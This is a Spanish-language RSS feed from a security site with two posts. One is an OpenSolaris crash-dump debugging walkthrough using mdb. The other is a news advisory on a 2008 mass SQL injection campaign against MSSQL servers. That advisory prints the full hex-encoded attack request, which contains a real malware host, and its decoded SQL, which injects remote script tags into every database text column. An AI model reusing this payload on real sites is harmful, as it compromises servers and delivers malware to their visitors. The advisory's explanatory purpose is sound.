<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>La Comunidad DragonJAR &#187; arpunk</title> <atom:link href="http://www.dragonjar.org/author/4rpunk/feed" rel="self" type="application/rss+xml" /><link>http://www.dragonjar.org</link> <description>Noticias de actualidad y seguridad informática, herramientas de seguridad, documentación y una excelente COMUNIDAD.</description> <lastBuildDate>Sat, 11 Feb 2012 22:13:24 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>Depurando modulos en OpenSolaris</title><link>http://www.dragonjar.org/depurando-modulos-en-opensolaris.xhtml</link> <comments>http://www.dragonjar.org/depurando-modulos-en-opensolaris.xhtml#comments</comments> <pubDate>Sun, 13 Mar 2011 06:18:29 +0000</pubDate> <dc:creator>arpunk</dc:creator> <category><![CDATA[Artículos sobre seguridad]]></category> <category><![CDATA[Depurar]]></category> <category><![CDATA[Modulos]]></category> <category><![CDATA[openSolaris]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=100</guid> <description><![CDATA[Hace ya algo de tiempo había venido experimentando algunos reboots injustificados en mi laptop al momento del inicio de sesión en SXCE b83. Cuando el escritorio empezaba a cargar, repentinamente se congelaba todo el laptop y se reiniciaba el sistema luego de unos segundos después de quedar sin vida. Al principio no le pare bolas, [...]]]></description> <content:encoded><![CDATA[<p
style="float:right; margin:0 0 10px 15px; width:240px;"> <img
src="http://www.dragonjar.org/wp-content/uploads/2011/03/OpenSolaris.jpg" width="240" title="Depurando modulos en OpenSolaris" alt="OpenSolaris Depurando modulos en OpenSolaris" /></p><p>Hace ya algo de tiempo había venido experimentando algunos reboots <span
style="font-style: italic;">injustificados</span> en mi laptop al momento del inicio de sesión en SXCE b83. Cuando el escritorio empezaba a cargar, repentinamente se congelaba todo el laptop y se reiniciaba el sistema luego de unos segundos después de quedar sin vida. Al principio no le pare bolas, ya que no tenia tiempo para ver que es lo que estaba pasando, sin embargo, ahora que me volvió a pasar (de hecho, de manera más frecuente) y dada la oportunidad que no tengo nada que hacer esta tarde, me puse en la tarea de diagnosticar la razón de las fritadas.</p><p
style="text-align: center;"><img
class="alignnone" title="Depurando Modulos en Solaris" src="http://www.dragonjar.org/wp-content/uploads/2011/03/OpenSolaris.jpg" alt="OpenSolaris Depurando modulos en OpenSolaris"  /></p><p>En Solaris (por ende, <a
href="http://www.dragonjar.org/tag/opensolaris" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con openSolaris">OpenSolaris</a>), los logs de los crashes son guardados en <code>/var/crash/`hostname`</code> y dependen de la configuración del dump facility, que se configura con <code>dumpadm</code>. En el momento en que el sistema va a colapsar, dependiendo de la configuración del volcado, el servicio SMF de <code>dumpadm</code> guarda una copia en el disco de la memoria física del equipo antes de que este se muriera, y luego de que el dump haya sido guardado, el servicio continua con el reboot del sistema.<span
id="more-100"></span></p><blockquote><p><code># dumpadm<br
/> Dump content: kernel pages<br
/> Dump device: /dev/dsk/c1t0d0s1 (swap)<br
/> Savecore directory: /var/crash/futurisk<br
/> Savecore enabled: yes<br
/> #<br
/> </code></p></blockquote><p>Pero, ¿que podemos diagnosticar de los volcados?. Utilizando nuestro buen amigo <code>mdb</code> y teniendo los dos archivos requeridos para diagnosticar el problema, podemos ver en que estado estuvo la maquina antes de que se reiniciara el equipo; los archivos son <code>vmcore.X</code> y <code>unix.X</code>, donde <code>vmcore</code> es el archivo que contiene todos los datos del volcado del crash y <code>unix</code> es el que tiene los datos de los módulos que estaban cargados en el kernel al momento de la pataleta.</p><blockquote><p><code># mdb unix.0 vmcore.0<br
/> Loading modules: [ unix genunix specfs dtrace cpu.generic uppc pcplusmp scsi_vhci ufs ip hook neti sctp arp usba uhci s1394 fctl nca lofs zfs random audiosup sppp ptm crypto ipc md cpc smbsrv fcip fcp logindmux nsctl sdbc sv ii rdc ]<br
/> &gt; ::status<br
/> debugging crash dump vmcore.0 (64-bit) from futurisk<br
/> operating system: 5.11 snv_83 (i86pc)<br
/> panic message: BAD TRAP: type=e (#pf Page fault) rp=ffffff0005403600 addr=ffffff015134c6e2<br
/> dump content: kernel pages only<br
/> &gt;</code></p></blockquote><p>Genial, ahora sabemos que es un page fault. Por lo general esto indica problemas de software, entonces puedo descartar la posibilidad de que mi laptop se este dañando. Sin embargo, ya entrando en gastos con <code>mdb</code>, veamos que otro tipo de información podemos obtener.</p><blockquote><p><code>&gt; ::panicinfo<br
/> cpu                0<br
/> thread ffffff014b54e940<br
/> message BAD TRAP: type=e (#pf Page fault) rp=ffffff0005403600 addr=ffffff015134c6e2<br
/> rdi ffffff015134b000<br
/> rsi                0<br
/> rdx            40000<br
/> rcx           5dae00<br
/> [más y más registros...]<br
/> </code></p></blockquote><p>Y ahora con la dirección del thread que se estaba ejecutando en el momento del crash, podemos ver el contenido de lo ultimo que paso.</p><blockquote><p><code>&gt; ffffff014b54e940::findstack<br
/> stack pointer for thread ffffff014b54e940: ffffff0005403190<br
/> ffffff00054031c0 apic_intr_exit+0x30()<br
/> ffffff0005403220 hilevel_intr_epilog+0x11c()<br
/> ffffff0005403270 do_interrupt+0xeb()<br
/> ffffff0005403280 _sys_rtt_ints_disabled+8()<br
/> ffffff0005403460 as_fault+0x6d8()<br
/> ffffff00054034e0 die+0xea()<br
/> ffffff00054035f0 trap+0x13b9()<br
/> ffffff0005403600 0xfffffffffb8001d9()<br
/> ffffff0005403720 oss_memset+0x37()<br
/> ffffff0005403760 audio_reset_adev+0xfd()<br
/> ffffff00054037f0 oss_audio_ioctl+0x1d2()<br
/> ffffff0005403830 stop_engines+0x92()<br
/> ffffff0005403890 vmix_close+0x124()<br
/> ffffff00054038d0 oss_audio_release+0x10b()<br
/> ffffff0005403920 oss_close+0x16a()<br
/> ffffff0005403950 dev_close+0x40()<br
/> ffffff00054039a0 device_close+0xd1()<br
/> ffffff0005403a30 spec_close+0x168()<br
/> ffffff0005403ab0 fop_close+0x6e()<br
/> ffffff0005403b10 ldi_close+0xc2()<br
/> ffffff0005403b50 sadasupport_close+0x14b()<br
/> ffffff0005403bc0 qdetach+0xbf()<br
/> ffffff0005403c60 strclose+0x357()<br
/> ffffff0005403cb0 device_close+0xb8()<br
/> ffffff0005403d40 spec_close+0x168()<br
/> ffffff0005403dc0 fop_close+0x6e()<br
/> ffffff0005403e00 closef+0x59()<br
/> ffffff0005403ea0 closeandsetf+0x458()<br
/> ffffff0005403ec0 close+0x14()<br
/> ffffff0005403f10 _sys_sysenter_post_swapgs+0x14b()<br
/> </code></p></blockquote><p>Y ese es el ejercicio de hoy. Hasta el momento el problema parece ser de OSS, sin embargo, ¿algún tip de lo que podría estar matando al sistema? <img
src="../wp-includes/images/smilies/icon_wink.gif" alt="icon wink Depurando modulos en OpenSolaris"  title="Depurando modulos en OpenSolaris" /></p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/segurisemanal-ii.xhtml" title="SeguriSemanal II">SeguriSemanal II</a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/depurando-modulos-en-opensolaris.xhtml/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Nuevo ataque de Inyeccion de SQL esta comprometiendo maquinas</title><link>http://www.dragonjar.org/nuevo-ataque-de-inyeccion-de-sql-esta-comprometiendo-maquinas.xhtml</link> <comments>http://www.dragonjar.org/nuevo-ataque-de-inyeccion-de-sql-esta-comprometiendo-maquinas.xhtml#comments</comments> <pubDate>Wed, 13 Aug 2008 12:35:21 +0000</pubDate> <dc:creator>arpunk</dc:creator> <category><![CDATA[Noticias Seguridad]]></category> <category><![CDATA[Injection]]></category> <category><![CDATA[SQL]]></category><guid
isPermaLink="false">http://www.dragonjar.org/?p=201</guid> <description><![CDATA[Un nuevo ataque de inyección de SQL ha venido circulando la semana pasada, y parece que ha infectado algunos cientos de servidores web en la tarde del viernes pasado. Los ataques se ven similares al que se muestra a continuación, e intentan consultar por archivos aleatorios validos en el servidor web. Las tablas de sysobjects [...]]]></description> <content:encoded><![CDATA[<p
style="text-align: center;"><img
class="aligncenter" src="http://img214.imageshack.us/img214/7079/5180537378a9794389erq7.jpg" alt="5180537378a9794389erq7 Nuevo ataque de Inyeccion de SQL esta comprometiendo maquinas"  title="Nuevo ataque de Inyeccion de SQL esta comprometiendo maquinas" /></p><p>Un nuevo ataque de inyección de <a
href="http://www.dragonjar.org/tag/sql" class="st_tag internal_tag" rel="tag" title="Entradas etiquetadas con SQL">SQL</a> ha venido circulando la semana pasada, y parece que ha infectado algunos cientos de servidores web en la tarde del viernes pasado. Los ataques se ven similares al que se muestra a continuación, e intentan consultar por archivos aleatorios validos en el servidor web.</p><p>Las tablas de sysobjects y syscolumns son consultadas y esto nos da una muy buena pista: las maquinas que se están atacando corren MSSQL, y se esta guardando código HTML dentro de la base de datos. También es posible que los servidores web con Sybase database backends sean explotables, ya que Sybase utiliza de manera muy amplia la misma sintaxis y estructura de las tablas que MSSQL server.<span
id="more-201"></span></p><p>La sentencia SQL escanea todas las tablas de la base de datos, insertando el código HTML del atacante en cada una de las paginas. Esto causa que el servidor web envié a los visitantes, dependiendo de su cliente web, a diferentes formas de malware que se aloja en paginas referenciadas<br
/> por el código HTML maligno. Similar al phishing, este ataque toma ventaja de que el visitante del sitio web confía en el sitio que están visitando. En vez de suplantar la identidad del sitio confiado, el sitio confiado es aquel que le envía el malware al cliente, quien tiene mayores probabilidades de aceptar.</p><p>Este tipo de ataque puede ser usado para lanzar ataques de phishing tradicionales en sitios que solicitan información financiera, o cualquier otro tipo de ataque en donde la confianza de los visitantes pueda ser explotada.</p><p>Los requests que saldrían en los logs del web server se asemejan al siguiente:</p><p>GET /?&#8217;;DECLARE%20@S%20CHAR(4000);SET%20@<br
/> S=CAST(0x4445434C41524520405420766172636<br
/> 8617228323535292C40432076617263686172283<br
/> 430303029204445434C415245205461626C655F4<br
/> 37572736F7220435552534F5220464F522073656<br
/> C65637420612E6E616D652C622E6E616D6520667<br
/> 26F6D207379736F626A6563747320612C7379736<br
/> 36F6C756D6E73206220776865726520612E69643<br
/> D622E696420616E6420612E78747970653D27752<br
/> 720616E642028622E78747970653D3939206F722<br
/> 0622E78747970653D3335206F7220622E7874797<br
/> 0653D323331206F7220622E78747970653D31363<br
/> 729204F50454E205461626C655F437572736F722<br
/> 04645544348204E4558542046524F4D202054616<br
/> 26C655F437572736F7220494E544F2040542C404<br
/> 3205748494C4528404046455443485F535441545<br
/> 5533D302920424547494E2065786563282775706<br
/> 4617465205B272B40542B275D20736574205B272<br
/> B40432B275D3D5B272B40432B275D2B2727223E3<br
/> C2F7469746C653E3C736372697074207372633D2<br
/> 2687474703A2F2F73646F2E313030306D672E636<br
/> E2F63737273732F772E6A73223E3C2F736372697<br
/> 0743E3C212D2D272720776865726520272B40432<br
/> B27206E6F74206C696B6520272725223E3C2F746<br
/> 9746C653E3C736372697074207372633D2268747<br
/> 4703A2F2F73646F2E313030306D672E636E2F637<br
/> 37273732F772E6A73223E3C2F7363726970743E3<br
/> C212D2D272727294645544348204E45585420465<br
/> 24F4D20205461626C655F437572736F7220494E5<br
/> 44F2040542C404320454E4420434C4F534520546<br
/> 1626C655F437572736F72204445414C4C4F43415<br
/> 445205461626C655F437572736F72%20AS%20CHA<br
/> R(4000));EXEC(@S);HTTP/1.1</p><p>Esta salida decodificada nos muestra la siguiente sentencia SQL (URLs han sido removidas):</p><p>DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””&gt;<script src="”http://www.domain.com/malware/"></script><script src="”http://www.domain.com/malware/w.js"></script><p>Este ataque todavía sigue en funcionamiento hasta el día de hoy. Se ha obtenido evidencia de explotación satisfactoria a través de cientos de paginas web. Estas paginas estaban asociadas con otras paginas al rededor del mundo suplantando contenido (incluyendo sitios de gobierno, sitios de venta por Internet, sitios de información financiera, entre otros).</p><h3  class="related_post_title">También puede interesarte...</h3><ul
class="related_post"><li><a
href="http://www.dragonjar.org/repositorio-con-herramientas-de-seguridad.xhtml" title="Repositorio con Herramientas de Seguridad">Repositorio con Herramientas de Seguridad</a></li><li><a
href="http://www.dragonjar.org/multiinjector-herramienta-automatica-de-inyeccion-sql.xhtml" title="MultiInjector &#8211; Herramienta Automática de Inyección SQL">MultiInjector &#8211; Herramienta Automática de Inyección SQL</a></li><li><a
href="http://www.dragonjar.org/presentacion-conceptos-basicos-seguridad-web.xhtml" title="Presentación de conceptos básicos en Seguridad Web">Presentación de conceptos básicos en Seguridad Web</a></li><li><a
href="http://www.dragonjar.org/revisa-la-seguridad-de-tu-sitio-web-gratis.xhtml" title="Revisa la seguridad de tu sitio web Gratis">Revisa la seguridad de tu sitio web Gratis</a></li><li><a
href="http://www.dragonjar.org/como-recuperar-clave-mysql.xhtml" title="Como Recuperar Clave MySQL">Como Recuperar Clave MySQL</a></li><li><a
href="http://www.dragonjar.org/lista-de-tareas-auditar-db-oracle.xhtml" title="¿Que Mirar Cuando Auditamos una Base de Datos Oracle?">¿Que Mirar Cuando Auditamos una Base de Datos Oracle?</a></li><li><a
href="http://www.dragonjar.org/memorias-expodefensa-2009.xhtml" title="Memorias ExpoDefensa 2009">Memorias ExpoDefensa 2009</a></li><li><a
href="http://www.dragonjar.org/codigo-fuente-herramienta-para-sql-injection.xhtml" title="Código Fuente Herramienta para SQL Injection  ">Código Fuente Herramienta para SQL Injection </a></li></ul>]]></content:encoded> <wfw:commentRss>http://www.dragonjar.org/nuevo-ataque-de-inyeccion-de-sql-esta-comprometiendo-maquinas.xhtml/feed</wfw:commentRss> <slash:comments>1</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 6/27 queries in 0.013 seconds using disk: basic
Object Caching 761/794 objects using disk: basic

Served from: www.dragonjar.org @ 2012-02-11 21:04:34 -->
